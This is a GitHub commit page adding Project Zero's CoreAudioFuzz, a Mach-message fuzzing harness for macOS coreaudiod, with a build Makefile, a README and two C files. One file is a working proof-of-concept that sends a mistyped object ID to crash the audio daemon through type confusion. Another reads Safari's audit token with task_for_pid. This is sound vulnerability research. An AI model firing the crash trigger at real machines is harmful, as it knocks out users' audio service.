Skip to content

Commit 505054d

Browse files
authored
Merge pull request #11 from dillonfranke/master
Add CoreAudioFuzz Code as Companion to Breaking the Sound Barrier Blog Post
2 parents fafa988 + d086196 commit 505054d

31 files changed

Lines changed: 3497 additions & 0 deletions

CoreAudioFuzz/Makefile

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
# Copyright 2025 Google LLC
2+
3+
# Licensed under the Apache License, Version 2.0 (the "License");
4+
# you may not use this file except in compliance with the License.
5+
# You may obtain a copy of the License at
6+
7+
# https://www.apache.org/licenses/LICENSE-2.0
8+
9+
# Unless required by applicable law or agreed to in writing, software
10+
# distributed under the License is distributed on an "AS IS" BASIS,
11+
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12+
# See the License for the specific language governing permissions and
13+
# limitations under the License.
14+
15+
# Compilers
16+
CC = clang
17+
CXX = clang++
18+
19+
# Frameworks and Libraries
20+
FRAMEWORKS = -framework Foundation -framework CoreAudio
21+
22+
# Compiler Flags
23+
CFLAGS = -fno-omit-frame-pointer -Wall -Wunused-parameter -Wextra -std=c++17#-fsanitize=address
24+
25+
INCLUDE_PATHS = -I./helpers -I.
26+
27+
# Source Files
28+
SOURCES = harness.mm \
29+
helpers/SwizzleHelper.mm \
30+
helpers/debug.cc \
31+
helpers/initialization.cc \
32+
helpers/load_library.cc \
33+
helpers/audit_token.cc \
34+
helpers/message.cc \
35+
36+
# Header Files (not mandatory to list them, but can be useful)
37+
HEADERS = helpers/SwizzleHelper.h \
38+
helpers/debug.h \
39+
helpers/initialization.h \
40+
helpers/load_library.h \
41+
helpers/audit_token.h \
42+
helpers/message.h \
43+
harness.h
44+
45+
# Output Executables
46+
OUTPUT = harness
47+
DYLIB_OUTPUT = libmach-modify.dylib
48+
49+
# Default target
50+
all: $(OUTPUT) $(DYLIB_OUTPUT)
51+
52+
# Link and compile the source files into the output executable
53+
$(OUTPUT): $(SOURCES)
54+
$(CXX) $(CFLAGS) $(INCLUDE_PATHS) $(FRAMEWORKS) $(SOURCES) -o $(OUTPUT)
55+
56+
# Build the dynamic library
57+
$(DYLIB_OUTPUT): mach-modify.c
58+
$(CC) -dynamiclib -g -o $(DYLIB_OUTPUT) mach-modify.c -ldl -framework CoreAudio $(INCLUDE_PATHS)
59+
60+
# Clean the build artifacts
61+
clean:
62+
rm -f $(OUTPUT) $(DYLIB_OUTPUT)
63+
64+
# Phony targets
65+
.PHONY: all clean

CoreAudioFuzz/README.md

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
![Breaking the Sound Barrier](./breaking-the-sound-barrier.png)
2+
3+
## Overview
4+
5+
This repository contains an open-source fuzzing harness designed to fuzz Apple's CoreAudio framework using Mach messages. The harness integrates with [Jackalope](https://github.com/googleprojectzero/Jackalope) and [TinyInst](https://github.com/googleprojectzero/TinyInst) to facilitate black box dynamic instrumentation and fuzzing. This work serves as a companion to my [Project Zero Blog Post](#TODO), demonstrating how to identify and analyze vulnerabilities in macOS's `coreaudiod` process.
6+
7+
## Features
8+
- **Fuzzing Harness**: A specialized harness for fuzzing CoreAudio via Mach messages.
9+
- **Jackalope Integration**: Uses Jackalope for testcase management and corpus mutation.
10+
- **Custom Function Hooks**: Contains custom function hooks to bypass areas creating fuzzing bottlenecks.
11+
- **TinyInst Support**: Enables lightweight dynamic instrumentation to track coverage.
12+
- **Reproducibility**: Allows others to replicate my fuzzing setup and extend research efforts.
13+
14+
## Building the Harness
15+
16+
### Prerequisites
17+
Ensure you have the following dependencies installed:
18+
- macOS (tested on latest stable versions)
19+
- Xcode and Command Line Tools
20+
- Make sure you have launched Xcode at least once
21+
- CMake
22+
- Clang
23+
24+
### Building the Fuzzing Harness
25+
```
26+
make
27+
```
28+
### Building Jackalope fuzzer with Custom Function Hooks
29+
```
30+
cd jackalope-modifications
31+
git clone https://github.com/googleprojectzero/Jackalope.git
32+
cd Jackalope
33+
git clone --recurse-submodules https://github.com/googleprojectzero/TinyInst.git
34+
cd ..
35+
mkdir build
36+
cd build
37+
cmake -G Xcode ..
38+
cmake --build . --config Release
39+
```
40+
**Note:** The custom function hook instrumentation is specifically designed to be run on x86 MacOS systems
41+
42+
## Usage
43+
44+
### Running the Fuzzing Harness
45+
- `unzip` the provided `corpus.zip` file to use high-quality input samples generated during the research
46+
- The provided `run.sh` script will run the freshly built `coreaudiofuzzer` with my fuzzing harness, corpus, and function hooks applied
47+
```
48+
./run.sh
49+
```
50+
51+
## Contributing
52+
Contributions are welcome! Feel free to open issues and pull requests to improve the harness or expand its functionality.
53+
54+
## Contact
55+
For questions or discussions, feel free to reach out via GitHub issues or contact me directly.
56+
57+
---
58+
320 KB
Loading

CoreAudioFuzz/corpus.zip

2 MB
Binary file not shown.
Lines changed: 166 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,166 @@
1+
/*
2+
Copyright 2025 Google LLC
3+
4+
Licensed under the Apache License, Version 2.0 (the "License");
5+
you may not use this file except in compliance with the License.
6+
You may obtain a copy of the License at
7+
8+
https://www.apache.org/licenses/LICENSE-2.0
9+
10+
Unless required by applicable law or agreed to in writing, software
11+
distributed under the License is distributed on an "AS IS" BASIS,
12+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13+
See the License for the specific language governing permissions and
14+
limitations under the License.
15+
*/
16+
17+
#include <mach/mach.h>
18+
#include <stdio.h>
19+
#include <stdlib.h>
20+
#include <unistd.h>
21+
#include <launch.h>
22+
#include <string.h>
23+
#include <servers/bootstrap.h>
24+
#include <mach/vm_map.h>
25+
26+
#define XSYSTEM_OPEN_MSG_SIZE 0x38
27+
#define XIOCONTEXT_FETCH_WORKGROUP_PORT_MSG_SIZE 0x24
28+
29+
typedef struct {
30+
mach_msg_header_t header;
31+
mach_msg_size_t msgh_descriptor_count;
32+
mach_msg_port_descriptor_t descriptor[1];
33+
char body[];
34+
} xsystemopen_mach_message;
35+
36+
typedef struct {
37+
mach_msg_header_t header;
38+
char body0[8];
39+
uint32_t object_id;
40+
} xworkgroup_mach_message;
41+
42+
mach_port_t create_mach_port_with_send_and_receive_rights() {
43+
mach_port_t port;
44+
kern_return_t kr;
45+
46+
// Allocate a port with receive rights
47+
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
48+
if (kr != KERN_SUCCESS) {
49+
fprintf(stderr, "Failed to allocate port: %s\n", mach_error_string(kr));
50+
exit(1);
51+
}
52+
53+
// Insert a send right for the port
54+
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
55+
if (kr != KERN_SUCCESS) {
56+
fprintf(stderr, "Failed to insert send right: %s\n", mach_error_string(kr));
57+
exit(1);
58+
}
59+
60+
return port; // Return the port with send rights
61+
}
62+
63+
int main(int argc, char *argv[]) {
64+
printf("Getting started...\n");
65+
66+
int opt;
67+
char *service_name = "com.apple.audio.audiohald";
68+
mach_port_t destination_port = MACH_PORT_NULL;
69+
70+
mach_port_t bootstrap_port;
71+
kern_return_t kr = task_get_bootstrap_port(mach_task_self(), &bootstrap_port);
72+
if (kr != KERN_SUCCESS) {
73+
fprintf(stderr, "Failed to get bootstrap port, error: %s\n", mach_error_string(kr));
74+
return 1;
75+
}
76+
77+
printf("Got Bootstrap port! %d\n", bootstrap_port);
78+
79+
kr = bootstrap_look_up(bootstrap_port, service_name, &destination_port);
80+
if (kr != KERN_SUCCESS) {
81+
printf("bootstrap lookup failed, error: %s\n", mach_error_string(kr));
82+
return 1;
83+
}
84+
printf("Got service port! %d\n", destination_port);
85+
86+
mach_msg_return_t result;
87+
88+
// Send _XSystem_Open message to initialize client
89+
xsystemopen_mach_message *xsystemopen_msg = malloc(XSYSTEM_OPEN_MSG_SIZE);
90+
91+
mach_port_t reply_port;
92+
// Set up the memory for descriptor
93+
mach_port_t send_right_port = create_mach_port_with_send_and_receive_rights();
94+
95+
xsystemopen_msg->msgh_descriptor_count = 1;
96+
xsystemopen_msg->descriptor[0].name = send_right_port;
97+
xsystemopen_msg->descriptor[0].disposition = MACH_MSG_TYPE_MOVE_SEND;
98+
xsystemopen_msg->descriptor[0].type = MACH_MSG_PORT_DESCRIPTOR;
99+
100+
xsystemopen_msg->header.msgh_remote_port = destination_port;
101+
xsystemopen_msg->header.msgh_voucher_port = MACH_PORT_NULL;
102+
xsystemopen_msg->header.msgh_id = 1010000;
103+
104+
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
105+
if (kr != KERN_SUCCESS) {
106+
fprintf(stderr, "Error allocating reply port: %s\n", mach_error_string(kr));
107+
return kr;
108+
}
109+
110+
xsystemopen_msg->header.msgh_local_port = MACH_PORT_NULL;
111+
xsystemopen_msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MOVE_SEND, MACH_PORT_NULL, MACH_MSGH_BITS_COMPLEX);
112+
113+
result = mach_msg(
114+
&xsystemopen_msg->header, // Pointer to the message header
115+
MACH_SEND_MSG, // Send the message and then receive a reply in one call
116+
XSYSTEM_OPEN_MSG_SIZE, // Send size
117+
0, // Receive buffer size (larger than send size)
118+
send_right_port, // Local port to receive the reply
119+
MACH_MSG_TIMEOUT_NONE,
120+
MACH_PORT_NULL
121+
);
122+
123+
free(xsystemopen_msg);
124+
125+
fprintf(stderr, "Sent Mach message: %s\n", mach_error_string(kr));
126+
127+
if (kr != KERN_SUCCESS) {
128+
fprintf(stderr, "Error sending Mach message: %s\n", mach_error_string(kr));
129+
return 1;
130+
}
131+
132+
printf("XSystem_Open stage complete.\n");
133+
134+
xworkgroup_mach_message *workgroup_msg = malloc(XIOCONTEXT_FETCH_WORKGROUP_PORT_MSG_SIZE);
135+
136+
workgroup_msg->header.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_PORT_NULL, MACH_PORT_NULL, MACH_PORT_NULL);
137+
workgroup_msg->header.msgh_size = XIOCONTEXT_FETCH_WORKGROUP_PORT_MSG_SIZE;
138+
workgroup_msg->header.msgh_remote_port = destination_port;
139+
workgroup_msg->header.msgh_local_port = MACH_PORT_NULL;
140+
workgroup_msg->header.msgh_id = 1010059;
141+
142+
// Arbitrary object ID (0x1 this will retrieve the HAL System type, it's expecting an IOContext type, so it will crash)
143+
workgroup_msg->object_id = 0x1;
144+
145+
result = mach_msg(
146+
&workgroup_msg->header, // Pointer to the message header
147+
MACH_SEND_MSG, // Just send the message
148+
XIOCONTEXT_FETCH_WORKGROUP_PORT_MSG_SIZE, // Send size
149+
0, // Don't need to receive this message
150+
MACH_PORT_NULL, // Don't need to receive this message
151+
MACH_MSG_TIMEOUT_NONE,
152+
MACH_PORT_NULL
153+
);
154+
155+
if (result != KERN_SUCCESS) {
156+
fprintf(stderr, "Error in mach_msg send and receive: %s\n", mach_error_string(result));
157+
free(workgroup_msg);
158+
return 1;
159+
}
160+
161+
free(workgroup_msg);
162+
163+
printf("XIOContext_Fetch_Workgroup_Port mach message processed successfully.\n");
164+
165+
return 0;
166+
}
Lines changed: 104 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,104 @@
1+
/*
2+
Copyright 2025 Google LLC
3+
4+
Licensed under the Apache License, Version 2.0 (the "License");
5+
you may not use this file except in compliance with the License.
6+
You may obtain a copy of the License at
7+
8+
https://www.apache.org/licenses/LICENSE-2.0
9+
10+
Unless required by applicable law or agreed to in writing, software
11+
distributed under the License is distributed on an "AS IS" BASIS,
12+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13+
See the License for the specific language governing permissions and
14+
limitations under the License.
15+
*/
16+
17+
#include <stdio.h>
18+
#include <stdlib.h>
19+
#include <mach/mach.h>
20+
#include <sys/sysctl.h>
21+
#include <string.h>
22+
#include <libproc.h>
23+
24+
// Define PROC_PIDPATHINFO_MAXSIZE if not defined
25+
#ifndef PROC_PIDPATHINFO_MAXSIZE
26+
#define PROC_PIDPATHINFO_MAXSIZE 4096
27+
#endif
28+
29+
// Function to get the PID of Safari
30+
pid_t get_safari_pid() {
31+
// Get the size of the buffer needed
32+
int mib[4] = {CTL_KERN, KERN_PROC, KERN_PROC_ALL, 0};
33+
size_t len = 0;
34+
35+
if (sysctl(mib, 4, NULL, &len, NULL, 0) < 0) {
36+
perror("sysctl");
37+
return -1;
38+
}
39+
40+
// Allocate memory for the process list
41+
pid_t *pids = (pid_t *)malloc(len);
42+
if (pids == NULL) {
43+
perror("malloc");
44+
return -1;
45+
}
46+
47+
// Get the list of processes
48+
if (sysctl(mib, 4, pids, &len, NULL, 0) < 0) {
49+
perror("sysctl");
50+
free(pids);
51+
return -1;
52+
}
53+
54+
// Iterate over the list to find Safari
55+
int num_pids = len / sizeof(pid_t);
56+
for (int i = 0; i < num_pids; i++) {
57+
pid_t pid = pids[i];
58+
if (pid == 0) {
59+
continue;
60+
}
61+
62+
char pathbuf[PROC_PIDPATHINFO_MAXSIZE];
63+
if (proc_pidpath(pid, pathbuf, sizeof(pathbuf)) > 0) {
64+
if (strstr(pathbuf, "Safari.app/Contents/MacOS/Safari") != NULL) {
65+
free(pids);
66+
return pid;
67+
}
68+
}
69+
}
70+
71+
free(pids);
72+
return -1; // Safari not found
73+
}
74+
75+
int main() {
76+
pid_t safari_pid = get_safari_pid();
77+
if (safari_pid == -1) {
78+
printf("Safari not found.\n");
79+
return 1;
80+
}
81+
82+
printf("Safari PID: %d\n", safari_pid);
83+
84+
// Obtain the audit token of Safari
85+
task_t task;
86+
kern_return_t kr = task_for_pid(mach_task_self(), safari_pid, &task);
87+
if (kr != KERN_SUCCESS) {
88+
printf("Error getting task for PID %d: %s\n", safari_pid, mach_error_string(kr));
89+
return 1;
90+
}
91+
92+
audit_token_t token;
93+
mach_msg_type_number_t size = TASK_AUDIT_TOKEN_COUNT;
94+
kr = task_info(task, TASK_AUDIT_TOKEN, (task_info_t)&token, &size);
95+
if (kr != KERN_SUCCESS) {
96+
printf("Error getting task audit_token: %s\n", mach_error_string(kr));
97+
return 1;
98+
}
99+
100+
printf("Audit token: %d\n", token.val); // The PID is in token.val[5]
101+
102+
return 0;
103+
}
104+

0 commit comments

Comments
 (0)